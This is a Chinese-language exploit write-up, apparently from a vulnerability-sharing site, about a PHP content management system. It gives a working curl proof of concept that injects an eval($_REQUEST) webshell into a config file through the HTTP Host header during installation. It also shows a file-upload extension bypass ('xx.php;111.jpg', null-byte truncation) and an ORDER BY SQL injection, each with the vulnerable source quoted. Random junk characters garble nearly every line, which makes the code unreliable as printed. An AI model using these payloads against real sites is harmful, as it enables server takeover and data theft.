注入:
% `. p- B+ P+ u( L$ Z1 u, t/ `& K1 d5 K6 [/ P% Z
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码9 x G5 v: L* \, f2 H. e2 {
; X: _, p# K% N, |鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
; f s3 D$ b r4 h# y; O+ u鸡肋2: 有一定安全常识的站长都会删掉 install 目录
( h$ A$ k7 r# J# b 7 n: |' x; `7 `& `
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响* I- D4 |0 I$ N }( L$ l8 |0 W1 @; o
0 `% j, M0 j( q; o分析:' f$ M+ T# v2 I9 [) u0 s# Y
$ s3 ~6 b- a# C, N
) B s5 U3 {1 Q4 @- k
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
& T- d( \8 l2 v+ k/ j8 ?7 y 0 n( F* m) G9 ~9 v( q4 Q/ |2 _
$filestr = fread(fopen($SysConfigFile, 'r'),30000);6 a2 E% I5 ^; c
$filestr=str_replace(" ","",$filestr);4 x: g" E! o/ y5 K- p- [
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
3 k: X5 k0 p& W $filestr=str_replace("DefaultDbName",$dbname,$filestr);+ H5 h p8 M$ y% f5 [2 s& y
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);+ x2 p c8 ~; c/ P
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
/ t$ N' y/ u: R# O0 J $filestr=str_replace("DefaultsLan","zh_cn",$filestr);4 N0 n2 T& D2 b* \. x# o$ w
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);# z* z1 X# E5 q3 s* K- Z& O. p
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);. B+ K) Q% M$ N9 W0 l/ w8 \/ u& _: B+ z
* h* n+ P9 P$ e" x9 e& A fwrite(fopen($ConFile,"w"),$filestr,30000);
$ s5 H$ H* z' ]4 [6 L( x" }) j$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^: m7 c) P/ L- C, O" q8 }: H* K; c
( {3 F' S* Q; r* c" Spoc:; G" K, _9 B$ }* P; D/ ~
! U/ w$ ?6 J# @& E+ q$ z
?
7 K3 o7 X: e4 J0 T0 E' W1 d1- _; Q8 Y! D8 @0 f' w. ?( F
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"/ L* E( b; {7 O1 t0 c
shell地址: /config.inc.php
( P4 h9 A3 b+ I( S跟之前的 phpcms一样 需要远程数据库
9 T2 J; V7 U' X) F, H7 u
" L' P' G! L# T+ [——————————————————–
) t, T4 ~; s0 e$ \5 N! k上传漏洞(需要进后台):
" X0 T, @; t- O6 @) M8 J漏洞文件: /kedit/upload_cgi/upload.php
4 d1 T3 O. ?" N这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
* k/ T# p, g# e5 Z# ?+ \+ I
5 u: j% ^ r! X; |; V# i; g 8 h" [4 m7 q6 m6 J
<?php6 U2 n0 S# ^. C0 x
define("ROOTPATH", "../../");
& \4 o! g) f! u. g& C# L5 A include(ROOTPATH."includes/admin.inc.php");& y3 D: e! R( \3 A8 N6 w
NeedAuth(0);
% V0 u Q3 l, Y& T% H 5 ^5 e) p! u! }- C7 M* i
$dt=date("Ymd",time());0 k0 ]8 E S5 o! I
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
& E# |% L2 S& k+ n: K4 W; | @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
' h7 {6 l; Q& b }
$ |0 ~! `: {- h9 \
* X+ r1 `6 b) q( z, R+ b* F //文件保存目录路径
9 K2 b/ }4 p3 [+ j/ Y7 ?0 A! [ $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
' g7 U& d* g: e8 y" |3 i echo $save_path;
3 G' o) o5 k& Q! B) z/ V+ d+ R //文件保存目录URL
# G: M s* a0 @2 N $save_url = '../../'.$_POST['attachPath'].$dt.'/';6 i( X$ ]$ W; e1 Z& h" j7 b
) s% Y* y9 `3 C8 X0 r# w //定义允许上传的文件扩展名, b; d0 H4 ]: s9 A. E3 F) @
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
9 G! ?9 e! K5 X. U. A + M# c6 A5 A& G9 A
//最大文件大小
7 [) a+ E4 i' f1 z $max_size = 1000000;! Q( |! ]7 a" Y4 R% ^/ D+ _6 [
( I% L- W8 U' D) l) |
//更改目录权限
. ?5 r# i' j/ { @mkdir($save_path, 0777);
7 B" h9 J) K, ^. j# E
- R5 D) @+ b+ K4 H0 ^$ h //文件的全部路径$ q. c# V4 C S. ^& a( M5 \8 a
$file_path = $save_path.$_POST['fileName']; //保存文件名
* X/ I( i1 l" A d7 A* c
4 c5 V' E4 |' p, K7 }3 p //文件URL9 G* C* I- p7 Y8 L
$file_url = $save_url.$_POST['fileName'];
5 D, ]% p! W8 a6 N6 n//有上传文件时0 X2 B, |5 `+ i" q1 ?
if (empty($_FILES) === false) {' \9 n3 P! I# x3 v4 d! q0 K/ N
; L& M8 z# E3 X* G O( d7 t4 I
//原文件名/ U3 C% j5 E7 {2 Q# t0 G
$file_name = $_FILES['fileData']['name'];4 a* u4 C0 L# x" a8 x% w W
//服务器上临时文件名% v( b5 H" b+ P' s) y7 t
$tmp_name = $_FILES['fileData']['tmp_name'];2 y0 A) w; F; d8 G0 s
//文件大小
+ W- v4 m" V0 V6 H+ _9 _ $file_size = $_FILES['fileData']['size'];
+ M& p* @' A A( g //检查目录' F2 S: j0 {: W* f# V1 D7 n
if (@is_dir($save_path) === false) {
( k5 t% Z5 U5 _% C4 H2 P* M alert("上传目录不存在。");9 [+ Q) Y) {5 S# J! f. A
}+ s) o: T8 v6 V5 r5 G/ v6 E
//检查目录写权限
# R M' t" t; [# S if (@is_writable($save_path) === false) {0 e5 b+ X8 C8 g$ U
alert("上传目录没有写权限。");
" V& E# t; ~+ \) r. G1 h }
; v ~& x' A* ] //检查是否已上传# H7 L: r* z' x8 |- R/ S
if (@is_uploaded_file($tmp_name) === false) {: p) Q K0 Q/ |8 Q5 ^+ H% f; _' w
alert("临时文件可能不是上传文件。");
- i H2 h* W" @% f. B }
! o- Z; |9 F' Q; u* q! L. n ] //检查文件大小 t+ \: E0 B* d
if ($file_size > $max_size) {
$ ?! M' z; {& X- } alert("上传文件大小超过限制。");
. K0 Y( I. c. l, v; ^ }# n# \1 o w9 y/ H6 G7 ^0 N- ^1 m
//获得文件扩展名
( N& |6 \& v' e1 Q4 z+ e $temp_arr = explode(".", $_POST['fileName']);
( F- Q" P7 _, t( |/ d $file_ext = array_pop($temp_arr);; k$ M: _, Q1 i
$file_ext = trim($file_ext);+ ^' `9 C9 d. t, Q" v
$file_ext = strtolower($file_ext);
/ ]) l; ]$ i5 j; a l6 r U+ y * o; W8 }- u1 i7 c# }
//检查扩展名
/ ?$ Y& u* P; {- `& W if (in_array($file_ext, $ext_arr) === false) { 8 ^& f8 e! z" M0 `
alert("上传文件扩展名是不允许的扩展名。");
* p$ D+ c9 e+ n) L. o }* e" { L/ s A* |! x$ X& K
7 q% I' K V+ k //移动文件
$ S+ f5 c! Q L+ Y. S! d //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
0 P8 e+ s* C# Q& u if (move_uploaded_file($tmp_name, $file_path) === false) {
# U" j% ?# L0 d+ L4 } alert("上传文件失败。");
* A) R: c, y1 x, ^, S& q; V. I. ] }. |8 C) l( K1 H% b
& v% j" p' Y7 \$ _% |9 a1 C* d
@chmod($file_path,0666);- O4 T2 o) e* D" l6 Q; T
. i8 Y- C+ I L2 q" a3 p8 s
?>
" M* ] d6 B6 G抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
6 @/ H1 B# S5 \6 B9 [+ {! @4 Q
( N. p; E- V, R, Oapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过: M. A |3 s2 @' T! \
4 e5 g/ f h: r2 }, Q——————————————————; W& w0 Z; i+ ]5 K5 P" t
注入漏洞:
2 c2 U/ ]2 R; [# B- B2 W漏洞文件:search/module/search.php
" {6 ^& u+ \" \/search/index.php?key=1&myord=1 [sqlinjection]
6 y, i1 |! ~+ u# u* r8 O! I $ n0 I7 x) `, i2 K4 t
# t i! g. Q, [1 F u$ ]2 ?* q
<?php5 n/ Q1 }- S7 U& S, ?) Y
// ... 省略 n 行...
7 F: e1 E- O% P! P N) _ //第18行:
# q: {& `, ^+ z, e $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响3 I5 o) o8 [. F/ G, p
$page=htmlspecialchars($_GET["page"]);
6 g3 `6 i% U% Y8 } $myord=htmlspecialchars($_GET["myord"]);
( A, T7 T1 a7 @+ ?6 p* `* {1 s3 d5 J0 g & W- F" t6 e" ^6 c" [! J' T
// ... 省略 n 行...
- ^, I. `) p- x $key,$myord 两个参数带入查询9 O' ?' p: I3 G# V# |( a7 d
//第47行 $key:
, H0 j! y9 H7 ?" ] d, L 6 j4 q7 W' s* [
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
) b v+ t8 b% W; w/ |# i) t
# X7 R) D3 T; a" X Y3 O //第197行 $myord) a9 x* E3 q; Q& Z6 S9 W
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入2 n% ^+ o% E4 r6 H, q' Z+ ]% Q
' S3 H9 _, J/ N; o ?>
7 u3 u$ p% K3 y" ]5 } |